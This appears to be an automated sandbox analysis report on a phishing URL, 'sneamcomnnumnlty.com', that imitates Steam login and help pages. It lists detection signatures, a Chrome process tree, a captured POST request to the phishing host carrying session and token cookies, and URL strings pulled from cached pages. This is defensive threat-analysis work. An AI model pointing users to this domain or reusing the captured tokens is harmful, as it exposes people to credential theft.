Edit tour

Windows Analysis Report
http://sneamcomnnumnlty.com/fact/actual/get

Overview

General Information

Sample URL:	http://sneamcomnnumnlty.com/fact/actual/get
Analysis ID:	1526609
Tags:	openphish
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 484 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3504 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2200,i,535189481859360234,10417123737869248396,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sneamcomnnumnlty.com/fact/actual/get" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4024 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7160 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1964,i,6013309467918627893,8673806943052136411,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

HTTP traffic detected: POST /7d1d7c577e075156525b46100527505446445855125670520311 HTTP/1.1Host: sneamcomnnumnlty.comConnection: keep-aliveContent-Length: 69Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 06 Oct 2024 11:20:57 GMTContent-Type: application/json; charset=utf-8Transfer-Encoding: chunkedConnection: closeCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originEtag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg"Origin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsVary: Accept-EncodingX-Content-Type-Options: nosniffX-Dns-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-Xss-Protection: 0Cache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OVAkxmWuyxMrj4DTRijw4sNIKZXh%2FDgVsjn4hsFnPDx%2FDTRIy5R%2FG6cQ6I5ZGMs71Xl51Ogo8HjDAr37jFBFcPWcRgsq9V6uNrOaabczhTm1IZ7EkqCmPkgDogAyyCQBRZOl03Ol6w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ce543ddc8be4322-EWR

Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/accordion/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/autocomplete/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/blind-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/bounce-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/button/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/category/effects-core/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/category/ui-core/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/clip-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/datepicker/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/dialog/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/draggable/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/drop-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/droppable/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/explode-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/fade-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/fold-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/highlight-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/jQuery.widget/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/menu/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/mouse/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/position/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/progressbar/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/puff-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/pulsate-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/resizable/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/scale-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/selectable/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/selectmenu
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/shake-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/size-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/slide-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/slider/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/sortable/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/spinner/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/tabs/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/tooltip/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://api.jqueryui.com/transfer-effect/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/11778
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/8235
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9413
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9413)
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9917
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://bugs.jqueryui.com/ticket/7552
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://bugs.jqueryui.com/ticket/9446
Source: chromecache_428.2.dr, chromecache_395.2.dr	String found in binary or memory: http://jedwatson.github.io/classnames
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://jqueryui.com
Source: chromecache_358.2.dr, chromecache_443.2.dr, chromecache_370.2.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_243.2.dr, chromecache_353.2.dr, chromecache_205.2.dr, chromecache_289.2.dr, chromecache_300.2.dr, chromecache_335.2.dr, chromecache_380.2.dr, chromecache_251.2.dr, chromecache_345.2.dr, chromecache_359.2.dr, chromecache_429.2.dr, chromecache_225.2.dr, chromecache_373.2.dr, chromecache_471.2.dr, chromecache_342.2.dr, chromecache_346.2.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/.
Source: chromecache_384.2.dr, chromecache_403.2.dr	String found in binary or memory: http://support.steampowered.com
Source: chromecache_223.2.dr, chromecache_410.2.dr	String found in binary or memory: http://twitter.com/steam
Source: chromecache_239.2.dr, chromecache_426.2.dr	String found in binary or memory: http://www.dota2.com
Source: chromecache_358.2.dr, chromecache_443.2.dr, chromecache_370.2.dr	String found in binary or memory: http://www.prototypejs.org/
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: http://www.robertpenner.com/easing)
Source: chromecache_223.2.dr, chromecache_410.2.dr	String found in binary or memory: http://www.steampowered.com/steamworks/
Source: chromecache_410.2.dr	String found in binary or memory: http://www.valvesoftware.com
Source: chromecache_223.2.dr, chromecache_410.2.dr	String found in binary or memory: http://www.valvesoftware.com/about
Source: chromecache_367.2.dr	String found in binary or memory: http://www.valvesoftware.com/about.html
Source: chromecache_367.2.dr	String found in binary or memory: http://www.valvesoftware.com/jobs.html
Source: chromecache_223.2.dr, chromecache_367.2.dr, chromecache_410.2.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: chromecache_258.2.dr, chromecache_301.2.dr	String found in binary or memory: http://www.youworkforthem.com/designer/293/niramekko
Source: chromecache_258.2.dr, chromecache_301.2.dr	String found in binary or memory: http://www.youworkforthem.com/font-license
Source: chromecache_258.2.dr, chromecache_301.2.dr	String found in binary or memory: http://www.youworkforthem.com/product.php?sku=T2982
Source: chromecache_410.2.dr	String found in binary or memory: https://apps.apple.com/us/app/steam-link/id1246969117
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=47182
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=561664
Source: chromecache_410.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/apps/steam-chat/steam-chat-app-1.0.8.apk
Source: chromecache_464.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_
Source: chromecache_367.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/2429640/2f68e286764ecc7774825d4
Source: chromecache_367.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/570/0bbb630d63262dd66d2fdd0f7d3
Source: chromecache_367.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f
Source: chromecache_367.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/730/8dbc71957312bbd3baea65848b5
Source: chromecache_369.2.dr, chromecache_291.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/promo/summer2020/tiling_orange.png?v=2
Source: chromecache_464.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://checkout.steampowered.com/checkout/submitproofofpurchase
Source: chromecache_332.2.dr, chromecache_344.2.dr, chromecache_472.2.dr	String found in binary or memory: https://checkout.steampowered.com/parental/ajaxlock
Source: chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RG
Source: chromecache_464.2.dr	String found in binary or memory: https://code.jquery.com/ui/1.11.3/jquery-ui.js
Source: chromecache_270.2.dr, chromecache_385.2.dr, chromecache_332.2.dr, chromecache_344.2.dr, chromecache_472.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: chromecache_428.2.dr, chromecache_395.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: chromecache_428.2.dr, chromecache_395.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: chromecache_428.2.dr, chromecache_395.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: chromecache_445.2.dr	String found in binary or memory: https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer
Source: chromecache_445.2.dr	String found in binary or memory: https://developer.mozilla.org/en/JavaScript_typed_arrays/Uint8Array
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications
Source: chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_264.2.dr, chromecache_422.2.dr, chromecache_235.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_410.2.dr	String found in binary or memory: https://flathub.org/apps/details/com.valvesoftware.SteamLink
Source: chromecache_210.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansBold.woff.woff)
Source: chromecache_210.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff)
Source: chromecache_210.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff)
Source: chromecache_210.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff)
Source: chromecache_440.2.dr, chromecache_256.2.dr	String found in binary or memory: https://github.com/jquery/jquery-color
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/bg/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/cs/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/da/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/de/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/el/
Source: chromecache_367.2.dr, chromecache_410.2.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: chromecache_223.2.dr, chromecache_410.2.dr	String found in binary or memory: https://help.steampowered.com/en/?snr=1_44_44_
Source: chromecache_270.2.dr, chromecache_385.2.dr, chromecache_344.2.dr	String found in binary or memory: https://help.steampowered.com/en/wizard/HelpWithLimitedAccount
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/es-419/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/es/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/fi/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/fr/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/hu/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/id/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/it/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ja/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ko/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/nl/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/no/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/pl/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/pt-br/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/pt/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images//ico_arrow_dn_for_select.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images//icon_bookmark.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images//icon_print.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images//icon_remove.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images//icon_writedown.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images//steamworks_bg.png);
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images//thumbnail_hwaccessories.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/arrow_right.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/arrow_right_white.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/blue_body_repeat.jpg?v=2
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/blue_body_top.jpg?v=2
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/footerLogo_valve_new.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/helprequests/footer_gradient.png
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/login_highlight.png
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/shared_global.css?v=g5jYek09HZX0
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Black.ttf?v=4.015
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Bold.ttf?v=4.015
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-BoldItalic.ttf?v=4.015
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-RegularItalic.ttf?v=4.015
Source: chromecache_258.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Thin.ttf?v=4.015
Source: chromecache_268.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/buttons/icon_double_arrows.png
Source: chromecache_268.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/buttons/icons_16.png?v=5);
Source: chromecache_268.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/buttons/icons_18.png?v=3);
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/header/logo_steam.svg?t=962016
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/joinsteam/new_login_bg_steam_china.jpg
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/joinsteam/new_login_bg_steam_china_mobile.jpg
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg
Source: chromecache_328.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/joinsteam/new_login_bg_strong_mask_mobile.jpg
Source: chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/login/throbber.gif
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/header_logo.png
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/header_menu_hamburger.png
Source: chromecache_196.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/local_menu_hamburger.png
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/logo_valve_footer.png
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/steam_share_image.jpg
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ro/
Source: chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/
Source: chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru//wizard/HelpWithPurchase
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/getmenuactions/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/getrsakey/
Source: chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/logout/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/rendercaptcha/?gid=
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/setlanguage/
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/javascript/base64-binary.js?v=RSKiJSIiCI4Y
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/javascript/help.js?v=EvTxp2gPAIRv
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/dselect.js?v=sjouo3-33Gox
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/legacy_web/main.js?v=uR8sIBCNvNhG
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/shared_global.js?v=nKtkrnOZUY5B
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/shared_responsive_adapter.js?v=HxDIkB5FHAo
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/shipping.js?v=duTHCld2DeXb
Source: chromecache_367.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryBindRelated
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangeEmail/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangePassword/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangePhone/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryConfirmChangeEmail/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryConfirmChangePhone/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryGetNextStep
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryResetPhoneNumber/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryResetTwoFactor/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryUpdatedPhoneChina/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryVerifyPassword/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCancelAccountDeletion/
Source: chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCancelHelpRequest/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCancelPendingPurchase/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCancelSteamChinaAccessDeletion/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxCheckPasswordAvailable/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxGiftRefundRequestForm
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxHardwareCreateReplacementRMA
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxHardwareCreateReturn
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxMarkGiftRefundable/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxPackagePurchaseReceipt/
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxRefundRequestConfirmation
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxRefundRequestForm
Source: chromecache_216.2.dr, chromecache_453.2.dr	String found in binary or memory: https://help.steampowered.com/ru/wizard/AjaxSearchResults/
